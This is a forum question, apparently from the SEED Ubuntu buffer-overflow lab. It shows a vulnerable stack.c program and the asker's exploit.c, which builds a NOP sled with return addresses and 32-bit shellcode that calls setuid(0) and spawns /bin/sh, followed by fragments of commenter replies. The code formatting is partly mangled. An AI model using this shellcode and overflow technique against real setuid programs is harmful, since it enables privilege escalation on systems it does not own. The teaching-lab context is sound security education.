I'm trying to exploit simple stack overflow vulnerability. But I have trouble writing the exploit.c file. After getting the stack pointer using __asm__("movl %esp, %eax")
, I put the address and shellcode in the buffer.
This is stack.c file:
int bof(char *str)
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
int main(int argc, char **argv)
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
Below is my current exploit.c file. I have two VM with the same setup using SEED Ubuntu. I run the same file on both machines. The first give me regular shell, another one returns "seg fault". But the root shell is what I want.
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
char *ptr = buffer;
long *addr_ptr, addr;
int offset = 0x80;
int i;
addr = get_sp_addr() + offset;
addr_ptr = (long*)(ptr);
//printf("addr: %x\n", addr);
for (i = 0; i < 10; i++) {
*(addr_ptr++) = addr;
}
for (i = 0; i < strlen(shellcode); i++) {
buffer[517 - (sizeof(shellcode) + 1) + i] = shellcode[i];
}
// Null terminate the shellcode
buffer[sizeof(buffer)-1] = '\0';
// printf("%s\n", buffer);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
Shellcode defined in the exploit.c file is:
char shellcode[]=
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
{}
editor toolbar button) to have it formatted as code rather than prose.%eap
" instead of "%esp
" or it is just a typo?buffer
(and, probably,shellcode
)? Also, how you trigger the overflow, and what makes you think what you've shown in gdb is actuallybuffer
?